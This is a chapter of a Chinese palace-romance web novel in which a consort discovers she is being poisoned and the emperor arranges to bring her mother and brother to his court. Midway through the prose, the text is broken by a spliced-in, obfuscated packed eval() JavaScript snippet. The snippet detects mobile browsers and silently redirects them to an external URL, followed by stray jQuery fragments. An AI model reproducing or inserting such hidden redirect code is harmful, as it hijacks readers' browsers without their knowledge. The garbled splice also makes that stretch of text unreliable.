64. 中毒
作品:《嫁给敌国皇帝后带球跑路了》 等到脚步声传来时,兰婳拉回思绪,正对上段熠的眸子。
他亦在看她。
兰婳用过膳后净了口,用来增添气色的唇脂擦干净后,唇瓣透出不正常的白色。
段熠转而将视线落在一旁还未收拾的药碗,“药可喝过了。”
兰婳看他在看那药碗,却还这样问她,定是疑心她不肯喝偷偷倒掉了。
“喝得一滴不剩,连碗都不用洗,陛下要再仔细看看吗?”说着,伸手就要去拿那药碗。
段熠听她这鬼灵精怪的话,心中紧绷的弦略略放松,看样子这毒暂时是抑制住了,不至于让她身体难受。
“这些绣活让底下人去办即可,夜里绣伤眼睛。”
“陛下还说我呢,自己夜里常常看奏折到深夜还不许我说呢,只许州官放火不许百姓点灯了是吧。”兰婳不理,依旧加快手中的动作。
段熠无可奈何,她入宫来别的本事倒没怎么学会,这还嘴的话倒用得十分熟练了。
段熠但见她身上已然换上寝衣,藕粉色的绸面泛着温润的光泽,衬得肌肤白里透红,欺霜赛雪,青丝散落在后,阵阵玫瑰香混杂着皂角的香气,清新又旖旎,他喉结轻滚,嗓音缱绻,
“朕先去沐浴。”
兰婳沉浸在针黹中,连话都没听清便点了头,只想着赶紧将这寝衣赶制出来。
李忠说陛下近日忙碌,针宫局送来的寝衣不合身都没时间重新量体裁制,他的尺寸她自是知道的,趁着近日还不那么犯困,多动几针,免得明日又顶着那昏沉的脑袋,想要动针都没力气,更不知何年何月能做完了。
兰婳全神贯注,只听到珠帘掀落的声音,约莫赶制完两只衣袖,还剩衣领和腰间,珠帘再度掀起。
段熠沐浴完毕,她正好完成了大半部分,略微休息片刻,听到声音,偏头看过来。
男人一袭月白色寝衣,腰间系带松松垮垮打了个结,交领处锁骨挂着晶莹的水珠,胸口的沟壑一直绵延到腹部,本就锋利的五官更添一丝匪气。
兰婳当即便双股颤颤,这样的好菜她之前可从未吃过,事出反常必有妖,他的意思能再明显些吗。
于是乎,她以为自己很自然地收回了视线,继续装作低头忙碌的样子,直到男人走到面前,高大身影几乎遮挡了所有光线,叫她无法下手。
她认命似的将还未完工的物件放在案几上,双目浑圆,一副水汪汪的可怜样儿,
“只许一回……”
她知道男人那事一旦起了兴想要克制住几乎是不可能,她只能讨价还价,自己才能好受一些,否则以他的精力,恐怕明日能昏死在床上。
段熠罕见地低声发笑,“说什么呢?睡觉。”
她整个人被带到床上,接着段熠抬手,重重帐幔落下,紧接着就听见有宫女进来灭了灯,寝殿内顿时陷入一片宁静之中。
兰婳因着刚才自己胡言乱语而羞赧,拿被衾盖住自己的半张脸,虽然黑暗之中看不清,可她又羞又臊,直挺挺躺在那一动也不动。
黑暗中传来低哑的声音,“婳儿,你想回金罗吗?”
听到这个称呼,兰婳覆盖在被衾下的身形一僵,而后在听到后半句话时更是不知所措。
若是以前,她会毫不犹豫地说想,可现在她下意识的想法却不是如此,若可以,她倒喜欢母亲与阿弟能到周国来。
金罗能留给她的除了刻骨铭心的回忆,再无其他了,能让她时刻惦记金罗的,也只有母亲与阿弟的安危了。
不待她回答,男人便再度开口,语气缱绻,“我将你的母亲和弟弟接来金罗可好?”
他后来特地派人查过她在金罗的过往,想了解她过去的一切,可她的生活并非他所想的那样安逸,世人皆以为衣食无忧的汝南王女从小寄生乡野,被接回王府后,生活更加艰难,他方才明白他在汝南王府那段不堪的回忆中,也有人同他一样正经历着不公的待遇。
彼时他被金罗王以游玩之由送到汝南王府,却是暗中吩咐了汝南王对他百般折磨,昨日出行伤了腿,今日膳食中下了毒,到最后竟是直接将他囚禁起来,绝食断水,若非有人偷偷给他送食送水,他没法撑过那七日。
后来金罗战败,他才得以归国。
想想那个满手灰尘的小女孩给他递来馒头和水,明明自己身上粗衣简布,身形消瘦,还颇有兴味地同他这样一个阶下囚聊起天来。
那样的年纪,那样的脾性,满王府也只能是她无疑了。
她幼年蹉跎,一朝被送往别国,他竟因为先前在汝南王府受到的伤害而对毫不知情的她恶语相向,屡次威胁,以利相诱。
好在最后,事实来得虽然迟,但总给他留下了弥补的机会,他不能再负她了。
良久,兰婳震惊于她听见的话,有一种大梦若归的满足感,她能见到母亲与弟弟了?
思绪飘离之际,还未来得及作答,她的脖颈下穿过一只手臂,男人将她搂在怀中,背靠着一片温热的胸膛,她能感受到他心脏正在有力地跳动,亦感觉自己的心也随之而动。
“睡吧……”男人声音带着几分诱哄的意味。
今夜兰婳睡得很早,在段熠抱着她不久后便酣然入睡。
段熠看着透过盈窗的蒙蒙月色,不知在想些什么,待到怀中传来均匀的呼吸声,他阖上了眼皮。
良辰不及夜月色,犹待明朝春意来。
翌日,融融日光爬上床头,细软的帷帐内兰婳翻了个身后,便睡不着了,向外头唤了一声,立马就有人推门而入,来人正是半夏,这丫头今日不知是怎么了,连脚步都轻快几分。
半夏伺候她梳洗,正坐在梳妆镜前,她随口一问,“怎么今日是你,槐夏和茯苓呢,外头也没听见她们都声音。”
槐夏和茯苓是昭阳宫的大宫女,徐嬷嬷年纪大了,很多事情都是她们管着,往常这时候总能听到她们指挥底下人干活的声音,今日倒是安静得奇怪。
半夏回道,“陛下派人去金罗接夫人和公子到周国来,嬷嬷吩咐您虽与汝南王府不亲,可面子上还是要做足,便带着茯苓和槐夏在后殿库房挑些东西让前去接人的队伍一并带着,也算全了最后一点体面,奴婢对那些珍宝可没甚兴趣,便来伺候您起床了。”
可不是没兴趣,只是知道这东西要送去汝南王府,她便恨不得眼不见为净,凭什么她家娘娘从小到大没有受到过汝南王府一点好处,长大了还被送来周国为贡,若不是遇上了陛下,焉知还有多少苦头在后头,这时候还要回报娘家,当真是让人呕得很。
“你说的可是真的?”兰婳看着镜中的自己倏地恍惚了一下。
“自然是真的,今晨散朝后就有礼部的人过来询问娘娘可还有旁的吩咐,您还睡着奴婢便告知那人晚些等您醒了再议。”
兰婳想起昨夜段熠那番话,多日夙愿一朝成真,她心里不知何种滋味,有欣喜,有期待,亦有庆幸与感激,庆幸自己遇得良人,也感激他为她所做的一切。
此行目的只为接来母亲与弟弟,其余的倒也没什么好吩咐的,兰婳托李忠给礼部的人,吩咐一切依例即可,同时一盏冰凉的雪梨汤被呈上了御案。
冰块拔过的甜汤冰凉解渴,一碗梨汤很快见底,李忠笑眯眯地命人撤下那缠枝青瓷碗,就听到段熠开口道,
“再来一碗。”
李忠回道,“娘娘说了,切莫贪凉,只送来一盏,陛下若想喝,不如移驾昭阳宫,保管喝个够。”
段熠摆摆手,指着李忠头上那顶镶金暗纹纱帽,笑道,“朕看你是活糊涂了,敢打趣到朕的头上来了,改明儿这乾清宫总管的位置得换人了。”
李忠俛首不及,“哎哟陛下!奴才不敢,这不是娘娘的意思嘛,陛下刚下旨去接娘娘的家人,后脚娘娘就送梨汤来慰问陛下,不用奴才多说,陛下也知道娘娘的心意了。”
这话说得段熠爱听,邃开口道,“明日吧,等朕将手头上要紧的事处理完,明日再去昭阳宫。”
李忠垂首应是。
御案那头又传来声音,“昭阳宫的药你得继续盯着,冷宫那人等她能开口说话便继续审问,直到她说出解药为止。”
话说到这里,李忠心里便有数了,陛下没说怎么审,那便是随便审,只是要撬开嘴,锦衣卫里的好手有一百种法子,现下陛下发了话,原先还顾及着蒋氏的性命,若要猛而攻之,能有八成把握拿到解药法子,这也未尝不可。</p
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16433467|176403||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
>
李忠得了令,不多时乾清宫就有人一路小跑往宫外锦衣卫衙门去了。
昭阳宫中,兰婳在殿内左等右等,依然不见徐嬷嬷几人的身影,正要遣半夏去寻,门外就有人拨开珠帘,徐嬷嬷在前一脸严肃,茯苓则端着一个药罐子,槐夏跟在身后,手里拿着一个竹筐,二人脸上俱沾有烟灰。
徐嬷嬷率先开口道,“娘娘,这药有些古怪,”这话一出,几人面上表情凝住,
“怎会?这都是来福公公每日亲自带人送来的,”怎么会有问题。
徐嬷嬷双目有神,正色道,“今日老奴去库房挑选,不知从哪里刮来一阵风把一本古方典籍吹开了,我便去合上,偶然间看到那典籍上记载的一味药材正与娘娘每日服用的药相似,便多看了两眼,谁知这再一看便觉出几分不对来,正是每日煎药用的药材。”
徐嬷嬷翻开那本典籍递过来,嘴里继续说道,
“这药材名为蓝槐草,生长在偏远的北地,可解百毒,可太医明明说您是火气过旺,用些寻常草药即可,怎会用这味药材呢,且不说您用的药每日仔细检查过才送来,就算抓错了,这蓝槐草可是稀有之物,娘娘这些天日日都用药,太医院总不会察觉不出来……”
“嬷嬷的意思是这是有人故意而为之?”
徐嬷嬷说时已眼含热泪,“这事陛下定是知道的,怪不得娘娘这些天精神不佳,食欲也没从前好了,走两步就累,老奴原先还当您……原来竟是如此,是谁下此毒手?老奴这就去寻陛下。”
“嬷嬷别去!”兰婳见状一把拉回徐嬷嬷,一张雪白的小脸因惊讶瞬间变为煞白,反复平息过后,方冷静道,
“这事陛下定然知道,这东西便是来福亲自送来的,陛下让太医谎称我是肝火过旺,不让我知道,就是不想让我知道了担忧,嬷嬷这一去陛下的苦心可不就白费了吗?”
“可您这身体……不行,奴婢去请太医院的人来,总要看过了才知道如何。”
兰婳握着徐嬷嬷衣袖的手没有松开,“傍晚太医会过来请脉,嬷嬷别急,免得惊扰了陛下。”
“可奴婢还是不放心,这毒若是未解,恐伤身啊。”比起刚进来时只是猜测,到现在知道了八九不离十的真相,徐嬷嬷老泪纵横,茯苓在一旁掺着才没有倒下,相比之下兰婳就显得冷静多了。
“连陛下都只能让太医用药来医治,还有什么法子呢?”
能用这种狠毒的办法害她的便只有那个人了,难怪那日陛下突然改了旨意,留她一命。
“娘娘,那这药还喝吗?”茯苓眼神望向那药罐中熬得浓黑的药汁,辛苦的药味直冲鼻腔。
兰婳没说话,默默起身将药罐中的药倒入碗中,吹凉后便一饮而尽,这一次喝药便没了过多的心理建设。
她得保住自己的命,陛下还在想办法,至少……她要等到母亲与弟弟来到周国。
傍晚,张太医过来请脉,依旧是那番说辞,徐嬷嬷与三个宫女皆侍立在一旁,只是因着得知了真相的缘故,每个人脸上皆是面无笑意,一时间室内静默非常。
最后还是徐嬷嬷强打起精神笑道,“奴婢送张太医出去。”
徐嬷嬷将人送到昭阳宫门前,正欲折身返回,突然一旁的甬道拐进几个人,天色已暗,办事的宫人打着宫灯便十分显眼。
见那几人是朝着昭阳宫的方向来的,徐嬷嬷便在门前等候,知道她看清领头的那人是木犀时,眼中露出诧异的神色,很快又恢复原状。
“这么晚了,尚宫局怎么来人了。”
木犀俛首道,“叨扰嬷嬷了,昨个儿昭阳宫送来两套夏衣,说是袖口做大了,这不制衣局的人改好了,奴婢想着上头的吩咐,得先紧着娘娘,这不一改好就送过来了,嬷嬷可要亲自看看?”
木犀说着,手里已从宫女手上接过呈放衣物的托盘递至徐嬷嬷面前。
徐嬷嬷不动声色接过,随意翻看了两眼后,便说道,“改得不错,娘娘收下了。”
“既如此,那奴婢们先告退了。”
等到徐嬷嬷回到寝殿后,屏退了外头的宫女,转而从衣物中拿出一张字条,说道,
“尚宫局木犀送来的,是殿下有事找您。”